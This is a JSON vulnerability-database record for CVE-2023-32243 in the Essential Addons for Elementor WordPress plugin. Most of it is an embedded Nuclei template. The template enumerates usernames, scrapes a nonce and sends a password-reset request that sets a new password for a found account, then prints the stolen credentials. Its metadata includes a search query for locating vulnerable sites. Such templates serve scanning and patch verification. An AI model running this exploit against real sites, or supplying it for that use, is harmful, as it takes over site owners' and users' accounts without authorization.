{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-32243/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-32243/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-32243/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-32243/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-32243/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-32243"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-32243"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-32243.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-32243\n\ninfo:\n  name: WordPress Elementor Lite 5.7.1 - Arbitrary Password Reset\n  author: DhiyaneshDK,Vikas Kundu\n  severity: critical\n  description: |\n    Improper Authentication vulnerability in WPDeveloper Essential Addons for Elementor allows Privilege Escalation. This issue affects Essential Addons for Elementor: from 5.4.0 through 5.7.1.\n  impact: |\n    An attacker can gain unauthorized access to user accounts and potentially take control of the affected WordPress website.\n  remediation: |\n    Update WordPress Elementor Lite plugin to the latest version (5.7.2) or apply the patch provided by the vendor.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-32243\n    - https://patchstack.com/articles/critical-privilege-escalation-in-essential-addons-for-elementor-plugin-affecting-1-million-sites?_s_id=cve\n    - https://github.com/RandomRobbieBF/CVE-2023-32243/blob/main/exploit.py\n    - https://wordpress.org/plugins/essential-addons-for-elementor-lite/\n    - https://patchstack.com/database/vulnerability/essential-addons-for-elementor-lite/wordpress-essential-addons-for-elementor-plugin-5-4-0-5-7-1-unauthenticated-privilege-escalation-vulnerability?_s_id=cve\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-32243\n    cwe-id: CWE-287\n    epss-score: 0.75531\n    epss-percentile: 0.99503\n    cpe: cpe:2.3:a:wpdeveloper:essential_addons_for_elementor:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 6\n    vendor: wpdeveloper\n    product: essential_addons_for_elementor\n    framework: wordpress\n    google-query: inurl:/wp-content/plugins/essential-addons-for-elementor-lite\n  tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,intrusive,wpdeveloper,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /wp-json/wp/v2/users/ HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /?rest_route=/wp/v2/users HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /feed/ HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        GET /author-sitemap.xml HTTP/1.1\n        Host: {{Hostname}}\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=login_or_register_user&eael-resetpassword-submit=true&page_id=124&widget_id=224&eael-resetpassword-nonce={{nonce}}&eael-pass1={{password}}&eael-pass2={{password}}&rp_login={{wordpress_username}}\n\n    payloads:\n      password:\n        - \"{{randstr}}\"\n    host-redirects: true\n    max-redirects: 2\n    stop-at-first-match: true\n    matchers:\n      - type: word\n        part: body_6\n        words:\n          - '\"success\":true'\n          - '\"data\":'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body_1\n        group: 1\n        regex:\n          - 'nonce\":\"([0-9a-z]+)'\n        internal: true\n\n      - type: json\n        part: body\n        name: wordpress_username\n        group: 1\n        json:\n          - '.[] | .slug'\n          - '.[].name'\n        internal: true\n\n      - type: regex\n        part: body_4\n        name: wordpress_username\n        group: 1\n        regex:\n          - '<dc:creator><!\\[CDATA\\[([A-Za-z]+)\\]\\]><\\/dc:creator>'\n        internal: true\n\n      - type: regex\n        part: body_5\n        name: wordpress_username\n        group: 1\n        regex:\n          - '\\/author\\/([a-z-]+)\\/'\n        internal: true\n\n      - type: dsl\n        dsl:\n          - '\"WP_USERNAME: \"+ wordpress_username + \" WP_PASSWORD: \"+ password'\n# digest: 4b0a00483046022100cf32a74f19dbe6a8ccd9892350fe72f709ef37dc68f8b9b4e97c44f50a453afa022100e791aae6590af4c959e2ff142c286e7c16a97f3365ec10ee90c00b8a16b620c5:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-32243"
}